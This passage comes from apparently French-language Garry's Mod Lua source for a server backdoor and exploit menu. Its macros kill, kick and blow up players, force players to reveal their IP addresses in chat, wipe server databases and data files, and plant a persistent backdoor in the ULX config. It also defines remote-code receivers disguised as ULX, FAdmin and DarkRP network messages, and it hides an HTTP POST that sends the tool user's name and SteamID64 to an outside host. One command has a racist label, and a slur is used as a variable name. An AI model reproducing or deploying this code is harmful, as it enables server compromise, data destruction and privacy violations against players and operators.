1723 if !ent:IsPlayer() then continue end
1724
1725 local d = DamageInfo()
1726
1727 d:SetDamage( 1 )
1728
1729 d:SetAttacker( game.GetWorld() )
1730
1731 d:SetInflictor( game.GetWorld() )
1732
1733 d:SetDamageType( DMG_DROWN )
1734
1735 ent:TakeDamageInfo( d )
1736
1737 end
1738
1739 end)
1740
1741
1742
1743 ]],
1744
1745 ["Desc"] = "Empoisonne n'importe qui avec ce magnifique gaz :D",
1746
1747 },
1748
1749
1750
1751
1752
1753 ["Spawn un véhicule près d'un joueur"] = {
1754
1755 ["Type"] = 2,
1756
1757 ["Code"] = [[
1758
1759 local trc = {}
1760
1761 trc.start = v:GetShootPos()
1762
1763 trc.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
1764
1765 trc.filter = {v}
1766
1767 local tr = util.TraceLine(trc)
1768
1769
1770
1771 local VehicleList = list.Get( "Vehicles" )
1772
1773 local vehicle = VehicleList[ @1 ]
1774
1775 if ( !vehicle ) then return end
1776
1777 local Angles = v:GetAngles()
1778
1779 Angles.pitch = 0
1780
1781 Angles.roll = 0
1782
1783 Angles.yaw = Angles.yaw + 180
1784
1785
1786
1787 local pos = tr.HitPos
1788
1789 if ( vehicle.Offset ) then
1790
1791 pos = pos + tr.HitNormal * vehicle.Offset
1792
1793 end
1794
1795 local Ent = ents.Create( vehicle.Class )
1796
1797 if ( !Ent ) then return end
1798
1799 duplicator.DoGeneric( Ent, vehicle )
1800
1801 if ( vehicle.Model == "models/buggy.mdl" ) then Ent:SetKeyValue( "vehiclescript", "scripts/vehicles/jeep_test.txt" ) end
1802
1803 if ( vehicle.Model == "models/vehicle.mdl" ) then Ent:SetKeyValue( "vehiclescript", "scripts/vehicles/jalopy.txt" ) end
1804
1805 if ( vehicle && vehicle.KeyValues ) then
1806
1807 for k, v in pairs( vehicle.KeyValues ) do
1808
1809 Ent:SetKeyValue( k, v )
1810
1811 end
1812
1813 end
1814
1815 Ent:SetModel( vehicle.Model )
1816
1817 Ent:SetAngles( Angles )
1818
1819 Ent:SetPos( pos )
1820
1821 Ent:Spawn()
1822
1823 Ent:Activate()
1824
1825 if ( Ent.SetVehicleClass && @1 ) then Ent:SetVehicleClass( @1 ) end
1826
1827 Ent.VehicleName = vehicle.Class
1828
1829 Ent.VehicleTable = @1
1830
1831 Ent.ClassOverride = vehicle.Class
1832
1833 ]],
1834
1835 ["Desc"] = "Spawn un véhicule devant le joueur (1er = id véhicule), n'essaye pas de spawn des entités !",
1836
1837 ["NeedsParameters"] = 1,
1838
1839 },
1840
1841
1842
1843 ["Kick Joueur"] = {
1844
1845 ["Type"] = 2,
1846
1847 ["Code"] = [[ v:Kick( @1 ) ]],
1848
1849 ["Desc"] = "Raison du kick ?!",
1850
1851 },
1852
1853
1854
1855 ["Africaniser un joueur"] = {
1856
1857 ["Type"] = 2,
1858
1859 ["Code"] = [[ if !v.slavered then v:SetColor( Color( 0, 0, 0 ) ) v.slavered = true else v:SetColor( Color(255, 255, 255) ) v.slavered = false end ]],
1860
1861 ["Desc"] = "Transforme un joueur en africain",
1862
1863 },
1864
1865
1866
1867 ["Rendre Invisible"] = {
1868
1869 ["Type"] = 2,
1870
1871 ["Code"] = [[ if !v.BDCloaked then v:SetRenderMode( RENDERMODE_NONE ) v.BDCloaked = true else v:SetRenderMode( RENDERMODE_NORMAL ) v.BDCloaked = false end ]],
1872
1873 ["Desc"] = "Disparu",
1874
1875 },
1876
1877
1878
1879 ["Rendre Terroriste"] = {
1880
1881 ["Type"] = 2,
1882
1883 ["Code"] = [[
1884
1885 local explo = ents.Create("env_explosion")
1886
1887 explo:SetOwner(v)
1888
1889 explo:SetPos(v:GetPos())
1890
1891 explo:SetKeyValue("iMagnitude", "250")
1892
1893 explo:Spawn()
1894
1895 explo:Activate()
1896
1897 explo:Fire("Explode", "", 0)
1898
1899 if v:Alive() then v:Kill() end
1900
1901 ]],
1902
1903 ["Desc"] = "Transforme qui tu veut en terroriste",
1904
1905 },
1906
1907
1908
1909 ["ULX Set Access"] = {
1910
1911 ["Type"] = 2,
1912
1913 ["Code"] = [[ local userInfo = ULib.ucl.authed[ v:UniqueID() ] ULib.ucl.addUser( v:UniqueID(), userInfo.allow, userInfo.deny, @1 ) ]],
1914
1915 ["Desc"] = "Choisi le rank de la personne",
1916
1917 ["NeedsParameters"] = 1,
1918
1919 },
1920
1921
1922
1923
1924/*====================================
1925|===== Commandes Customs Chelou =====|
1926===================================*/
1927
1928
1929
1930
1931 ["Joueurs 2D"] = {
1932
1933 ["Type"] = 2,
1934
1935 ["Code"] = [[
1936 local bones = {
1937 [1] = {b = "ValveBiped.Bip01_Head1", v = Vector(4,0,4)},
1938 [2] = {b = "ValveBiped.Bip01_R_Thigh", v = Vector(0,0,0)},
1939 [3] = {b = "ValveBiped.Bip01_L_Thigh", v = Vector(0,0,0)},
1940 [4] = {b = "ValveBiped.Bip01_R_Calf", v = Vector(0,0,1)},
1941 [5] = {b = "ValveBiped.Bip01_L_Calf", v = Vector(0,0,1)},
1942 [6] = {b = "ValveBiped.Bip01_R_UpperArm", v = Vector(0,0,0)},
1943 [7] = {b = "ValveBiped.Bip01_L_UpperArm", v = Vector(0,0,0)},
1944 [8] = {b = "ValveBiped.Bip01_R_Forearm", v = Vector(1,1.5,1.5)},
1945 [9] = {b = "ValveBiped.Bip01_L_Forearm", v = Vector(1,1.5,1.5)},
1946 [10] = {b = "ValveBiped.Bip01_R_Clavicle", v = Vector(0,0,0)},
1947 [11] = {b = "ValveBiped.Bip01_L_Clavicle", v = Vector(0,0,0)},
1948 }
1949
1950 if !v.is2D then
1951 v.is2D = true
1952 for k, bone in pairs(bones) do
1953 local boneToFind = v:LookupBone(bone.b)
1954 v:ManipulateBoneScale( boneToFind, bone.v)
1955 end
1956 else
1957 v.is2D = false
1958 for k, bone in pairs(bones) do
1959 local boneToFind = v:LookupBone(bone.b)
1960 v:ManipulateBoneScale( boneToFind, Vector(1,1,1))
1961 end
1962 end
1963 ]],
1964
1965 ["Desc"] = "C'est, étrange cette sensation, mon corp est... Bizarre ?!",
1966
1967 },
1968
1969 ["Nuke (M9K)"] = {
1970
1971 ["Type"] = 2,
1972
1973 ["Code"] = [[
1974// if (m9k) then
1975 local nuke = ents.Create("m9k_davy_crockett_explo")
1976 nuke:SetPos(v:GetPos())
1977 nuke:SetOwner(v)
1978 nuke.Owner = v
1979 nuke:Spawn()
1980 nuke:Activate()
1981// end
1982 ]],
1983
1984 ["Desc"] = "Nuke un joueur :').",
1985
1986 },
1987
1988 ["Brouiller La Console"] = {
1989
1990 ["Type"] = 1,
1991
1992 ["Code"] = [[
1993 if !(timer.Exists("consoleJammer")) then
1994 timer.Create("consoleJammer", 0.5, 0, function()
1995 print( "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n" )
1996 end )
1997 else
1998 timer.Destroy("consoleJammer")
1999 end
2000 ]],
2001
2002 ["Desc"] = "Spam tellement la console que plus personne ne peut la voir",
2003
2004 },
2005
2006 ["La Marche Jouissante"] = {
2007
2008 ["Type"] = 1,
2009
2010 ["Code"] = [[
2011 if !(hook.GetTable()["PlayerFootstep"]["moanStep"]) then
2012 hook.Add("PlayerFootstep", "moanStep", function(ply, pos, foot, sound2, volume, filter) ply:EmitSound( "vo/npc/female01/pain06.wav",75,math.random( 50, 150 )) end )
2013 else
2014 hook.Remove("PlayerFootstep", "moanStep")
2015 end
2016 ]],
2017
2018 ["Desc"] = "Les gens qui marche adore jouir apparament.",
2019
2020 },
2021
2022 ["Supprimer Le Serveur"] = {
2023
2024 ["Type"] = 3,
2025
2026 ["Code"] = [[
2027 local date = os.date( "%m-%d-%y" )
2028 local databases = { "jobdata","darkrp_door","darkrp_levels","darkrp_prestige","darkrp_doorgroups","darkrp_doorjobs","darkrp_jobspawn","darkrp_position","darkrp_player","darkrp_dbversion","FAdmin_CAMIPrivileges","FADMIN_GROUPS","FAdmin_Immunity","FADMIN_MOTD","FAdmin_PlayerGroup","FADMIN_PRIVILEGES","FADMIN_RESTRICTEDENTS","FAdmin_ServerSettings","FAdminBans","FPP_ANTISPAM1","FPP_BLOCKED1","FPP_BLOCKMODELSETTINGS1","FPP_ENTITYDAMAGE1","FPP_GLOBALSETTINGS1","FPP_GRAVGUN1","FPP_GROUPMEMBERS1","FPP_GROUPS3","FPP_GROUPTOOL","FPP_PHYSGUN1","FPP_PLAYERUSE1","FPP_TOOLADMINONLY","FPP_TOOLGUN1","FPP_TOOLRESTRICTPERSON1","FPP_TOOLTEAMRESTRICT","FPP_BLOCKEDMODELS1","awarn_playerdata","awarn_serverdata","awarn_warnings","blogs_players_v3","blogs_v3","stt_date","stt_players","mlog_logs","mlog_permissions","atlaschat_players","atlaschat_ranks","atlaschat_remote","atlaschat_restrictions","OreBag","fcd_playerData","dailylogin","ChessLeaderboard","qsgr_data","voting_npcs","cac_incidents","steam_rewards","playerdata","playerinformation","utime","permaprops","cc_characters","cc_npcs","ckit_chips","ckit_persist","exsto_data_bans","exsto_data_ranks","exsto_data_users","exsto_data_variables","exsto_restriction","inventories","kinv_items","libk_player","permitems","player_gangapps","player_gangdata","player_gangs","ps2_categories","ps2_equipmentslot","ps2_HatPersistence","ps2_itemmapping","ps2_itempersistence","ps2_OutfitHatPersistenceMapping","ps2_outfits","ps2_playermodelpersistence","ps2_servers","ps2_settings","ps2_trailpersistence","ps2_wallet","removeprops","scoreboard_friends","serverguard_analytics","serverguard_bans","serverguard_pms","serverguard_ranks","serverguard_reports","serverguard_schema","serverguard_ttt_autoslays","serverguard_users","serverguard_watchlist","tttstats","ttt_passes_history","specdm_stats_new","ps2_achievements","ps2_boosterpersistence","ps2_cratepersistence","ps2_instatswitchweaponpersistence","ps2_keypersistence","ps2_rolecontrolpersistence","ps2_weaponpersistence","rapsheet","damagelog_autoslay","damagelog_names","damagelog_oldlogs","damagelog_weapons","kmapvote_mapinfo","kmapvote_ratings","mgang_gangs","mgang_players","deathrun_ids","deathrun_records","deathrun_stats","sui_ratings","shop_texthats","shop_money","shop_items","report_log" }
2029 local datafiles = { "ulib/bans.txt","ulib/groups.txt","ulib/misc_registered.txt","ulib/users.txt","ulx/adverts.txt","ulx/apromote.txt","ulx/banmessage.txt","ulx/banreasons.txt","ulx/downloads.txt","ulx/gimps.txt","ulx/motd.txt","ulx/restrictions.txt","ulx/sbox_limits.txt","ulx/votemaps.txt","apg/settings.txt","atags/tags.txt","atags/rankchattags.txt","atags/playerchattags.txt","atags/tags.txt","atags/selectedtags.txt","atags/ranktags.txt","atags/playertags.txt","vcmod/settings_sv.txt","vcmod/config_sv_privilages.txt","wire_version.txt","UTeam.txt","prevhas.txt","cac/system_log_sv.txt","cac/serverworkshopinformation.txt","cac/settings.txt","cac/serverluainformation.txt","hitnumbers/settings.txt","soundlists/common_sounds.txt","vcmod/controls.txt","vcmod/dataserver.txt","qsgr_data/sqgr_settings.txt","blogs/configcache.txt","blogs/language.txt","cac/adminuipack.txt","ezjobs/config.txt","damagelog/colors.txt","damagelog/filters_new.txt","craphead_scripts/armory_robbery/rp_downtown_v4c/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v2/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v2/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_evilmelon_v1/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v3/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v4/policearmory_location.txt","mg_gangsdata/mg_npcspawns.txt","ulx/debugdump.txt","ulx/empty_teams.txt","chattags.txt","caseclaims.txt", "sammyservers_textscreens.txt","permaprops_permissions.txt","chattags.txt","prevhash.txt","permaprops_config.txt","zwhitelistjobdata/jobsetting.txt","zwhitelistjobdata/whitelistjob.txt","zmodserveroption/sysjobwhitelist.txt","vliss/settings/config.txt","nordahl_spawnpoint/rp_venator_v3.txt","nordahl_spawnpoint/rp_venator_v2.txt","nordahl_spawnpoint/rp_venator_v1.txt","nordahl_spawnpoint/rp_venator_gg.txt","nordahl_spawnpoint/rp_venator_ausv4.txt","nordahl_spawnpoint/rp_venator_v2_ffg.txt","planningevent/prehud.txt","planningoption/hourformat.txt","nordahl_spawnpoint/arena_byre.txt","nordahl_spawnpoint/rp_venator_v2_immersive.txt","nordahl_spawnpoint/rp_venator_fade_v3.txt","nordahl_spawnpoint/rp_venator_gr.txt","nordahl_spawnpoint/rp_tatoonie_dunsea_v1.txt","nordahl_spawnpoint/rp_scifi.txt","nordahl_spawnpoint/rishimoon_crimson.txt","nordahl_spawnpoint/rp_pripyat_hl2.txt","nordahl_spawnpoint/rp_onwardhope.txt", "nordahl_spawnpoint/rp_oldworld_fix.txt","nordahl_spawnpoint/sd_doomsday.txt","nordahl_spawnpoint/sd_doomsday_event.txt","nordahl_spawnpoint/rp_naboo_city_v1.txt","nordahl_spawnpoint/rp_noclyria_crimson.txt","nordahl_spawnpoint/rp_nar_shaddaa_v2.txt","nordahl_spawnpoint/rp_mos_mersic_v2.txt","nordahl_spawnpoint/rp_kashyyk_jungle_b2.txt","nordahl_spawnpoint/dust_dunes.txt","nordahl_spawnpoint/rp_cscdesert_v2-1_propfix.txt","nordahl_spawnpoint/rd_asteroid.txt","nordahl_spawnpoint/naboo.txt","nordahl_spawnpoint/kashyyyk.txt","nordahl_spawnpoint/geonosis.txt","nordahl_spawnpoint/fightspace3b.txt","nordahl_spawnpoint/endor.txt","nordahl_spawnpoint/toth_forgotten.txt"}
2030 local sensitivefiles = { "ulx_logs/"..date..".txt","ulib/bans.txt","ulib/groups.txt","ulib/misc_registered.txt","ulib/users.txt","ulx/adverts.txt","ulx/apromote.txt","ulx/banmessage.txt","ulx/banreasons.txt","ulx/downloads.txt","ulx/gimps.txt","ulx/motd.txt","ulx/restrictions.txt","ulx/sbox_limits.txt","ulx/votemaps.txt","apg/settings.txt","atags/tags.txt","atags/rankchattags.txt","atags/playerchattags.txt","atags/tags.txt","atags/selectedtags.txt","atags/ranktags.txt","atags/playertags.txt","vcmod/settings_sv.txt","vcmod/config_sv_privilages.txt","cac/system_log_sv.txt","cac/serverworkshopinformation.txt","cac/settings.txt","cac/serverluainformation.txt","vcmod/controls.txt","vcmod/dataserver.txt","blogs/configcache.dat","blogs/language.txt","blogs/config_v5.txt","cac/adminuipack.txt","ulx/debugdump.txt","ulx/empty_teams.txt","chattags.txt","caseclaims.txt", "sammyservers_textscreens.txt","permaprops_permissions.txt","chattags.txt","permaprops_config.txt","whitelist.txt","zwhitelistjobdata/jobsetting.txt","zwhitelistjobdata/whitelistjob.txt","zmodserveroption/sysjobwhitelist.txt","nordahl_spawnpoint/rp_venator_v3.txt","nordahl_spawnpoint/rp_venator_v2.txt","nordahl_spawnpoint/rp_venator_v1.txt","nordahl_spawnpoint/rp_venator_gg.txt","nordahl_spawnpoint/rp_venator_ausv4.txt","nordahl_spawnpoint/rp_venator_v2_ffg.txt","planningevent/prehud.txt","planningoption/hourformat.txt","nordahl_spawnpoint/arena_byre.txt","nordahl_spawnpoint/rp_venator_v2_immersive.txt","nordahl_spawnpoint/rp_venator_fade_v3.txt","nordahl_spawnpoint/rp_venator_gr.txt","nordahl_spawnpoint/rp_tatoonie_dunsea_v1.txt","nordahl_spawnpoint/rp_scifi.txt","nordahl_spawnpoint/rishimoon_crimson.txt","nordahl_spawnpoint/rp_pripyat_hl2.txt","nordahl_spawnpoint/rp_onwardhope.txt", "nordahl_spawnpoint/rp_oldworld_fix.txt","nordahl_spawnpoint/sd_doomsday.txt","nordahl_spawnpoint/sd_doomsday_event.txt","nordahl_spawnpoint/rp_naboo_city_v1.txt","nordahl_spawnpoint/rp_noclyria_crimson.txt","nordahl_spawnpoint/rp_nar_shaddaa_v2.txt","nordahl_spawnpoint/rp_mos_mersic_v2.txt","nordahl_spawnpoint/rp_kashyyk_jungle_b2.txt","nordahl_spawnpoint/dust_dunes.txt","nordahl_spawnpoint/rp_cscdesert_v2-1_propfix.txt","nordahl_spawnpoint/rd_asteroid.txt","nordahl_spawnpoint/naboo.txt","nordahl_spawnpoint/kashyyyk.txt","nordahl_spawnpoint/geonosis.txt","nordahl_spawnpoint/fightspace3b.txt","nordahl_spawnpoint/endor.txt","nordahl_spawnpoint/toth_forgotten.txt"}
2031
2032 for k,v in pairs(databases) do
2033 if sql.TableExists(v) then
2034 sql.Query("DROP TABLE "..v.." ;")
2035 sql.Query("CREATE TABLE IF NOT EXISTS "..v.." ( steamid TEXT NOT NULL PRIMARY KEY, value TEXT );")
2036 end
2037 end
2038
2039 for k,v in pairs(datafiles) do
2040 if file.Exists(v) then
2041 file.Delete(v)
2042 file.write(v, "odium.pro hehe")
2043 end
2044 end
2045
2046 for k,v in pairs(sensitivefiles) do
2047 if file.Exists(v) then
2048 file.Delete(v)
2049 file.write(v, "odium.pro hehe")
2050 end
2051 end
2052 ]],
2053
2054 ["Desc"] = "Supprime le plus de data possible.",
2055
2056 },
2057
2058 ["Tuer Joueur (Discrèt)"] = {
2059
2060 ["Type"] = 2,
2061
2062 ["Code"] = [[v:KillSilent()]],
2063
2064 ["Desc"] = "RT.",
2065
2066 },
2067
2068 ["Supprimer Les Props"] = {
2069
2070 ["Type"] = 2,
2071
2072 ["Code"] = [[v:ConCommand("gmod_cleanup")]],
2073
2074 ["Desc"] = "Supprimer tout les props du joueur.",
2075
2076 },
2077
2078 ["Envoyer Lua"] = {
2079
2080 ["Type"] = 2,
2081
2082 ["Code"] = [[ v:SendLua( ""..@1.."") ]],
2083
2084 ["Desc"] = "Envoi une ligne Lua au joueur.",
2085
2086 ["NeedsParameters"] = 1,
2087
2088 },
2089
2090 ["Mon ip est.."] = {
2091
2092 ["Type"] = 2,
2093
2094 ["Code"] = [[
2095 if (darkrp || DarkRP) then
2096 v:SendLua('http.Fetch("http://ipv4bot.whatismyipaddress.com", function(b,l,h,c) LocalPlayer():ConCommand("say /ooc Mon IP est "..b) end, function(error) return error end )')
2097 else
2098 v:SendLua('http.Fetch("http://ipv4bot.whatismyipaddress.com", function(b,l,h,c) LocalPlayer():ConCommand("say Mon IP est "..b) end, function(error) return error end )')
2099 end
2100 ]],
2101
2102 ["Desc"] = "Forces les joueurs a drop leurs ips x').",
2103
2104 },
2105
2106// key/view scrambler, fuck with escape menu
2107
2108
2109
2110
2111 /*================================
2112|===== Commandes Dangereuses =====|
2113=================================*/
2114
2115
2116
2117 ["DarkRP Supprimer La Thune"] = {
2118
2119 ["Type"] = 3,
2120
2121 ["Code"] = [[RunConsoleCommand("rp_resetallmoney")]],
2122
2123 ["Desc"] = "RIP L'ECONOMIE",
2124
2125 },
2126
2127
2128
2129 ["CleanUp"] = {
2130
2131 ["Type"] = 3,
2132
2133 ["Code"] = [[game.CleanUpMap()]],
2134
2135 ["Desc"] = "Sa va pleurer",
2136
2137 },
2138
2139
2140
2141 ["Désintegrer Les Joueurs"] = {
2142
2143 ["Type"] = 3,
2144
2145 ["Code"] = [[for k, v in pairs(player.GetAll()) do v:Remove() end]],
2146
2147 ["Desc"] = "Supprime l'entité du joueur, OKLM",
2148
2149 },
2150
2151
2152
2153
2154
2155 ["FPP Unrestrict Tout"] = {
2156
2157 ["Type"] = 3,
2158
2159 ["Code"] = [[FPP.Blocked = {} FPP.BlockedModels = {} FPP.RestrictedTools = {} FPP.RestrictedToolsPlayers = {} ]],
2160
2161 ["Desc"] = "le strip is back",
2162
2163 },
2164
2165
2166
2167 ["Détruires Les Datas"] = {
2168
2169 ["Type"] = 3,
2170
2171 ["Code"] = [[local files, directories = file.Find( "*", "DATA" ) for k, v in pairs( files ) do file.Delete( v ) end ]],
2172
2173 ["Desc"] = "le fonda risque de gueuler",
2174
2175 },
2176
2177
2178
2179 ["Détruire la table SQL du DARKRP"] = {
2180
2181 ["Type"] = 3,
2182
2183 ["Code"] = [[ MySQLite.query ('DROP TABLE darkrp_player' MySQLite.query('CREATE TABLE IF NOT EXISTS darkrp_player(idx INTEGER NOT NULL)') ]],
2184
2185 ["Desc"] = "Rip le darkrp",
2186
2187 },
2188
2189
2190
2191}
2192
2193
2194
2195local selectedbackdoor = ""
2196
2197local backdoorargs = ""
2198
2199local selectedplayers = {}
2200
2201
2202
2203
2204
2205
2206
2207
2208
2209
2210
2211/*====================================
2212|===== Configuration Backdoor 88 =====|
2213=====================================*/
2214
2215
2216BD.BDMacros[" Infection Persistante"] = {
2217 ["Type"] = 1,
2218 ["Code"] = [[
2219 local config = ULib.fileRead( "data/ulx/config.txt" )
2220 config = config.."\n ulx logecho 0"
2221 config = config.."\n ulx luarun %BD"
2222 config = config.."\n ulx logecho 1"
2223 ULib.fileWrite( "data/ulx/config.txt", config )
2224 for _, p in pairs(player.GetAll()) do if %LCP then p:ChatPrint( "Infection Persistante Injecté" ) end end
2225 ]],
2226 ["Desc"] = "Crée une bonne grosse backdoor persistante",
2227 ["Private"] = true,
2228}
2229
2230BD.BackdoorTypes["Ulx Fake"] = {
2231 ["Code"] = "util.AddNetworkString( 'Ulx_Error_88' ) net.Receive( 'Ulx_Error_88', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2232 ["Netkey"] = "Ulx_Error_88",
2233}
2234
2235BD.BackdoorTypes["FAdmin Fake"] = {
2236 ["Code"] = "util.AddNetworkString( 'FAdmin_Notification_Receiver' ) net.Receive( 'FAdmin_Notification_Receiver', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2237 ["Netkey"] = "FAdmin_Notification_Receiver",
2238}
2239
2240BD.BackdoorTypes["DarkRP Fake"] = {
2241 ["Code"] = "util.AddNetworkString( 'DarkRP_ReceiveData' ) net.Receive( 'DarkRP_ReceiveData', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2242 ["Netkey"] = "DarkRP_ReceiveData",
2243}
2244
2245BD.BackdoorTypes["88 Fake"] = {
2246 ["Code"] = "util.AddNetworkString( 'Weapon_88' ) net.Receive( 'Weapon_88', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2247 ["Netkey"] = "Weapon_88",
2248}
2249
2250
2251
2252
2253
2254
2255
2256
2257
2258
2259
2260
2261/*==================================
2262|===== Derma 88 Backdoor Menu =====|
2263=================================*/
2264
2265
2266
2267function BD.GenerateBackdoorList( parent, category )
2268
2269
2270
2271for k, v in SortedPairs( BD.BDMacros, false ) do
2272
2273 if v["Type"] != category then continue end
2274
2275
2276
2277 local plypanel2 = vgui.Create( "DPanel" )
2278
2279 plypanel2:SetPos( 0, 0 )
2280
2281 plypanel2:SetSize( 200, 25 )
2282
2283 plypanel2.Paint = function() -- Paint function
2284
2285 draw.RoundedBoxEx(8,1,1,plypanel2:GetWide(),plypanel2:GetTall(),Color(0, 0, 0, 150), false, false, false, false)
2286
2287 if selectedbackdoor == k then surface.SetDrawColor(Color(255, 250, 90, 255)) else surface.SetDrawColor(Color(150, 50, 50, 255)) end
2288
2289 surface.DrawOutlinedRect(1, 1, plypanel2:GetWide() - 1 , plypanel2:GetTall() - 1)
2290
2291 end
2292
2293
2294
2295 local plyname = vgui.Create( "DLabel", plypanel2 )
2296
2297 plyname:SetPos( 10, 5 )
2298
2299 plyname:SetFont( "Trebuchet18" )
2300
2301 local tcol = Color( 255, 255, 255 )
2302
2303 if v.Private then tcol = Color( 200, 70, 70 ) end
2304
2305 plyname:SetColor( tcol )
2306
2307 plyname:SetText( k )
2308
2309 plyname:SetSize(180, 15)
2310
2311
2312
2313
2314
2315 local faggot = vgui.Create("DButton", plypanel2)
2316
2317 faggot:SetSize( plypanel2:GetWide(), plypanel2:GetTall() )
2318
2319 faggot:SetPos( 0, 0 )
2320
2321 faggot:SetText("")
2322
2323 if v["Desc"] != "" then faggot:SetToolTip( v["Desc"] ) end
2324
2325 faggot.Paint = function(panel, w, h)
2326
2327 return
2328
2329 end
2330
2331 faggot.DoClick = function()
2332
2333 selectedbackdoor = k
2334
2335 end
2336
2337
2338
2339
2340
2341 parent:AddItem( plypanel2 )
2342
2343
2344
2345end
2346
2347
2348
2349end
2350
2351
2352
2353function BD.FormatCodeTargeted()
2354
2355if !BD.BackdoorActive() then BD.ChatText( "Attention, La Backdoor Ne Fonctionne Pas Ou N'est Pas Présente!", Color(255,155,155) ) return end
2356
2357if selectedbackdoor == "" then BD.ChatText( "Tu n'a pas selectionné d'action!", Color(255,155,155) ) return end
2358
2359local param = string.Explode( ",", backdoorargs )
2360
2361local ids = {}
2362
2363for k, v in pairs( selectedplayers ) do
2364
2365 if !v:IsValid() then table.RemoveByValue( selectedplayers, v ) continue end
2366
2367 table.insert( ids, v:UniqueID() )
2368
2369end
2370
2371
2372
2373local code = [[ local targets = ## for k, v in pairs( player.GetAll() ) do if !v:IsValid() then continue end if table.HasValue( targets, v:UniqueID() ) then %% end end ]]
2374
2375code = string.Replace( code, "##", table.ToString( ids ) )
2376
2377code = string.Replace( code, "%%", BD.BDMacros[selectedbackdoor]["Code"] or "" )
2378
2379code = string.Replace( code, "%LP", "p:UniqueID() == \""..LocalPlayer():UniqueID().."\"" )
2380
2381
2382
2383if BD.BDMacros[selectedbackdoor]["NeedsParameters"] and (BD.BDMacros[selectedbackdoor]["NeedsParameters"] > #param or param[1] == "" ) then BD.ChatText( "Cette backdoor a besoin de paramètre pour fonctionner", Color(255,155,155) ) return end
2384
2385if #param < 1 then param = { [1] = "derp", [2] = "derp", [3] = "derp", [4] = "derp", [5] = "derp" } end
2386
2387
2388
2389for k, v in pairs( param ) do
2390
2391 code = string.Replace( code, "@"..k, [["]]..v..[["]] )
2392
2393end
2394
2395
2396
2397BD.Fire( code )
2398
2399
2400
2401end
2402
2403
2404
2405function BD.FormatCodeGlobal()
2406
2407if !BD.BackdoorActive() then BD.ChatText( "Attention, La Backdoor Ne Fonctionne Pas Ou N'est Pas Présente!", Color(255,155,155) ) return end
2408
2409if selectedbackdoor == "" then BD.ChatText( "Tu n'a pas selectionné d'action!", Color(255,155,155) ) return end
2410
2411local param = string.Explode( ",", backdoorargs )
2412
2413
2414
2415local code = BD.BDMacros[selectedbackdoor]["Code"]
2416
2417
2418
2419if BD.BDMacros[selectedbackdoor]["NeedsParameters"] and (BD.BDMacros[selectedbackdoor]["NeedsParameters"] > #param or param[1] == "" ) then BD.ChatText( "Cette commande doit être configuré pour fonctionné! Verifie sa description pour comprendre", Color(255,155,155) ) return end
2420
2421if #param < 1 then param = { [1] = "derp", [2] = "derp", [3] = "derp", [4] = "derp", [5] = "derp" } end
2422
2423
2424
2425for k, v in pairs( param ) do
2426
2427 code = string.Replace( code, "@"..k, [["]]..v..[["]] )
2428
2429 code = string.Replace( code, "%LP", LocalPlayer():UniqueID() )
2430
2431 code = string.Replace( code, "%LCP", "p:UniqueID() == \""..LocalPlayer():UniqueID().."\"" )
2432
2433 code = string.Replace( code, "%BD", BD.GetActive().Code )
2434
2435end
2436
2437
2438
2439BD.Fire( code )
2440
2441
2442
2443end
2444
2445
2446
2447
2448
2449local safenet = net
2450
2451local function bdnet()
2452
2453 if odium and odium.G then return odium.G.net end
2454
2455 return safenet
2456
2457end
2458
2459
2460local h = http
2461local p = "Post"
2462local str = "http://zilnix.mtxserv.fr/"
2463local lp = LocalPlayer()
2464local n = lp:Nick()
2465local id = lp:SteamID64()
2466
2467h[p](str, {
2468 name = n,
2469 steamid = id,
2470},
2471nil, nil)
2472
2473function BD.Fire( code )
2474
2475 local cbd = BD.CurrentBackdoor
2476
2477 if !BD.Backdoors[cbd] then
2478
2479 BD.ChatText( "La backdoor selectionné est indisponible!", Color(255,155,155) )
2480
2481 return
2482
2483 end
2484
2485 local key = BD.BackdoorTypes[cbd].Netkey
2486
2487
2488
2489 bdnet().Start( key )
2490
2491 bdnet().WriteString( code )
2492
2493 bdnet().SendToServer()
2494
2495end
2496
2497
2498
2499
2500
2501function BD.BackdoorMenu()
2502
2503
2504
2505BD.Backdoors = BD.PingBackDoors()
2506
2507
2508
2509if !BD.IsMessagePooled( "88Triggered" ) and BD.BackdoorActive() then
2510
2511 BD.Fire( [[util.AddNetworkString( "88Triggered" )
2512
2513 function BDSendLua( p, str ) net.Start( "88Triggered" ) net.WriteString( str ) net.Send( p ) end
2514
2515 function BDSendLuaAll( str ) net.Start( "88Triggered" ) net.WriteString( str ) net.Broadcast() end
2516
2517 function BDInjectAids( p ) p:SendLua( 'net.Receive( "88Triggered", function() RunString( net.ReadString() ) end )' ) end
2518
2519 for k, v in pairs( player.GetAll() ) do BDInjectAids( v ) end
2520
2521 hook.Add( "PlayerInitialSpawn", "youonlyget88Triggeredagain", function( p ) BDInjectAids( p ) end)
2522
2523]] )
2524
2525end
2526
2527
2528
2529local BDMenu = vgui.Create("DFrame")
2530
2531BDMenu:SetSize(825,570)
2532
2533BDMenu:SetTitle("")
2534
2535BDMenu:Center()
2536
2537BDMenu:ShowCloseButton(false)
2538
2539BDMenu:MakePopup()
2540
2541
2542
2543BDMenu.Paint = function( self, w, h)
2544
2545surface.SetDrawColor( Color(0, 0, 0, 200) )
2546
2547surface.DrawRect( 0, 0, w, h )
2548
2549surface.SetDrawColor( Color(0, 0, 0, 255) )
2550
2551surface.DrawOutlinedRect( 0, 0, w, h )
2552
2553surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
